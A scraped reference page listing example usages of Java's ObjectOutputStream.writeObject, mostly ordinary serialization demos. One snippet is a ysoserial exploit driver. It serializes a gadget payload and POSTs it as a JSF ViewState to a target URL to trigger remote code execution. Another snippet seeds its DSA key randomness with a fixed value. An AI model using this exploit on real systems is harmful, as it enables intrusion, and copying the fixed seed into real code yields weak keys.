Example usage for java.io ObjectOutputStream writeObject

Introduction

In this page you can find the example usage for java.io ObjectOutputStream writeObject.

Prototype

public final void writeObject(Object obj) throws IOException 

Source Link

Document

Write the specified object to the ObjectOutputStream.

Usage

From source file:net.sf.jabb.util.text.test.KeywordMatcherExample.java

/**
 * @param args/*from www .  j  a v a 2  s .  co  m*/
 * @throws IOException 
 * @throws ClassNotFoundException 
 */
public static void main(String[] args) throws IOException, ClassNotFoundException {
    System.out.println("====  ====");
    KeywordMatcher m = showExample(null);

    System.out.println("==== ? ====");
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(m);
    byte[] binary = baos.toByteArray();
    ByteArrayInputStream bais = new ByteArrayInputStream(binary);
    ObjectInputStream ois = new ObjectInputStream(bais);
    KeywordMatcher m2 = (KeywordMatcher) ois.readObject();
    showExample(m2);

    System.out.println("==== ? ====");
    KeywordMatcher m3 = new KeywordMatcher(m);
    showExample(m3);

}

---

From source file:MainClass.java

public static void main(String args[]) throws Exception {
    KeyPairGenerator keyGen = KeyPairGenerator.getInstance("DSA");
    SecureRandom random = SecureRandom.getInstance("SHA1PRNG", "SUN");
    random.setSeed(101L);/*from ww  w .  j a  v a 2  s  . co  m*/
    keyGen.initialize(1024, random);
    KeyPair keypair = keyGen.generateKeyPair();

    KeyFactory kfactory = KeyFactory.getInstance("DSA");

    DSAPublicKeySpec kspec = (DSAPublicKeySpec) kfactory.getKeySpec(keypair.getPublic(),
            DSAPublicKeySpec.class);

    System.out.println(keypair.getPublic());
    FileOutputStream fos = new FileOutputStream("publicKeys");
    ObjectOutputStream oos = new ObjectOutputStream(fos);

    oos.writeObject(kspec.getY());
    oos.writeObject(kspec.getP());
    oos.writeObject(kspec.getQ());
    oos.writeObject(kspec.getG());

    FileInputStream fin = new FileInputStream("publicKeys");
    ObjectInputStream ois = new ObjectInputStream(fin);

    BigInteger Y = (BigInteger) ois.readObject();
    BigInteger P = (BigInteger) ois.readObject();
    BigInteger Q = (BigInteger) ois.readObject();
    BigInteger G = (BigInteger) ois.readObject();

    DSAPublicKeySpec keyspec = new DSAPublicKeySpec(Y, P, Q, G);
    PublicKey pkey = kfactory.generatePublic(keyspec);
    System.out.println(pkey);
}

---

From source file:MainClass.java

public static void main(String[] args) throws Exception {
    Junk obj1 = new Junk("A");
    Junk obj2 = new Junk("B");
    Junk obj3 = new Junk("V");
    ObjectOutputStream objectOut = new ObjectOutputStream(
            new BufferedOutputStream(new FileOutputStream("C:/JunkObjects.bin")));

    objectOut.writeObject(obj1); // Write object
    objectOut.writeObject(obj2); // Write object
    objectOut.writeObject(obj3); // Write object
    System.out.println("\n\nobj1:\n" + obj1 + "\n\nobj2:\n" + obj2 + "\n\nobj3:\n" + obj3);
    objectOut.close(); // Close the output stream

}

---

From source file:SerialDemo.java

static public void main(String[] args) {
    try {//from  ww w. j a  va2s . c  o  m
        { // Save a SerialDemo object with a value of 5.
            FileOutputStream f = new FileOutputStream("/tmp/testing");
            ObjectOutputStream s = new ObjectOutputStream(f);
            SerialDemo d = new SerialDemo(5);

            s.writeObject(d);
            s.flush();
        }
        { // Now restore it and look at the value.
            FileInputStream f = new FileInputStream("/tmp/testing");
            ObjectInputStream s = new ObjectInputStream(f);
            SerialDemo d = (SerialDemo) s.readObject();

            System.out.println("SerialDemo.getVal() is: " + d.getVal());
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}

---

From source file:Main.java

public static void main(String[] args) throws Exception {
    User admin = new User();
    admin.setId(new Long(1));
    User foo = new User();
    foo.setId(new Long(2));

    ObjectOutputStream oos = new ObjectOutputStream(
            new GZIPOutputStream(new FileOutputStream(new File("user.dat"))));
    oos.writeObject(admin);
    oos.writeObject(foo);// w ww . jav  a2s  . c om
    oos.flush();
    oos.close();
}

---

From source file:cn.lynx.emi.license.GenerateLicense.java

public static void main(String[] args) throws ClassNotFoundException, ParseException {
    if (args == null || args.length != 4) {
        System.err.println("Please provide [machine code] [cpu] [memory in gb] [yyyy-MM-dd] as parameter");
        return;/* www  .j  av a2 s  .c o m*/
    }

    InputStream is = GenerateLicense.class.getResourceAsStream("/privatekey");
    BufferedReader br = new BufferedReader(new InputStreamReader(is));
    String key = null;
    try {
        key = br.readLine();
    } catch (IOException e) {
        System.err.println(
                "Can't read the private key file, make sure there's a file named \"privatekey\" in the root classpath");
        e.printStackTrace();
        return;
    }

    if (key == null) {
        System.err.println(
                "Can't read the private key file, make sure there's a file named \"privatekey\" in the root classpath");
        return;
    }

    String machineCode = args[0];
    int cpu = Integer.parseInt(args[1]);
    long mem = Long.parseLong(args[2]) * 1024 * 1024 * 1024;
    SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
    long expDate = sdf.parse(args[3]).getTime();

    LicenseBean lb = new LicenseBean();
    lb.setCpuCount(cpu);
    lb.setMemCount(mem);
    lb.setMachineCode(machineCode);
    lb.setExpireDate(expDate);

    try {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream os = new ObjectOutputStream(baos);
        os.writeObject(lb);
        os.close();

        String serializedLicense = Base64.encodeBase64String(baos.toByteArray());
        System.out.println("License:" + encrypt(key, serializedLicense));
    } catch (IOException e) {
        e.printStackTrace();
    }
}

---

From source file:A.java

public static void main(String[] args) throws IOException, ClassNotFoundException {
    System.out.println("Constructing objects:");
    A b1 = new A();
    B b2 = new B();
    ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("File.out"));
    System.out.println("Saving objects:");
    o.writeObject(b1);
    o.writeObject(b2);/*from   w  w  w  .j av  a  2  s . c o  m*/
    o.close();

    ObjectInputStream in = new ObjectInputStream(new FileInputStream("File.out"));
    System.out.println("Recovering b1:");
    b1 = (A) in.readObject();
}

---

From source file:Main.java

public static void main(String[] args) throws Exception {

    ObjectOutputStream out = new ObjectOutputStream(
            new BufferedOutputStream(new FileOutputStream("file.data")));

    out.writeObject(Calendar.getInstance());
    out.writeObject(new BigDecimal("123.123"));
    out.writeInt(1);//from  w w  w.ja va2  s . c  om
    out.writeUTF("tutorial");
    out.close();

    ObjectInputStream in = new ObjectInputStream(new BufferedInputStream(new FileInputStream("file.data")));

    BigDecimal price;
    int unit;
    String desc;

    Calendar date = (Calendar) in.readObject();
    System.out.println(date);

    price = (BigDecimal) in.readObject();
    unit = in.readInt();
    desc = in.readUTF();
    System.out.println(unit);
    System.out.println(desc);
    System.out.println(price);
    in.close();
}

---

From source file:jenkins.security.security218.ysoserial.exploit.JSF.java

public static void main(String[] args) {

    if (args.length < 3) {
        System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
        System.exit(-1);/*from   ww w. j av a  2 s.  com*/
    }

    final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);

    try {
        URL u = new URL(args[0]);

        URLConnection c = u.openConnection();
        if (!(c instanceof HttpURLConnection)) {
            throw new IllegalArgumentException("Not a HTTP url");
        }

        HttpURLConnection hc = (HttpURLConnection) c;
        hc.setDoOutput(true);
        hc.setRequestMethod("POST");
        hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
        OutputStream os = hc.getOutputStream();

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(payloadObject);
        oos.close();
        byte[] data = bos.toByteArray();
        String requestBody = "javax.faces.ViewState="
                + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
        os.write(requestBody.getBytes("US-ASCII"));
        os.close();

        System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
    } catch (Exception e) {
        e.printStackTrace(System.err);
    }
    Utils.releasePayload(args[1], payloadObject);

}

---

From source file:Main.java

public static void main(String[] args) {
    int[] x = new int[] { 1, 2, 3 };
    int[] y = new int[] { 4, 5, 6 };
    Polygon polygon = new Polygon(x, y, x.length);
    try {/* w  w  w.j  ava 2  s . c  om*/
        ObjectOutputStream objectOut = new ObjectOutputStream(
                new BufferedOutputStream(new FileOutputStream("Polygons.bin")));
        objectOut.writeObject(polygon);
        objectOut.close();
    } catch (IOException e) {
        e.printStackTrace(System.err);
    }
    try {
        ObjectInputStream objectIn = new ObjectInputStream(
                new BufferedInputStream(new FileInputStream("Polygons.bin")));
        Polygon theLine = (Polygon) objectIn.readObject();
        System.out.println(theLine);
        objectIn.close();
    } catch (Exception e) {
        e.printStackTrace(System.err);
    }
}

---

• «
• 1
• 2
• 3
• 4
• 5
• 6
• 7
• 8
• 9
• 10
• 11
• 12
• 13
• 14
• 15
• 16
• 17
• 18
• 19
• 20
• 21
• 22
• 23
• 24
• 25
• 26
• 27
• 28
• 29
• 30
• 31
• 32
• 33
• 34
• 35
• 36
• 37
• 38
• 39
• 40
• 41
• 42
• 43
• 44
• 45
• 46
• 47
• 48
• 49
• 50
• »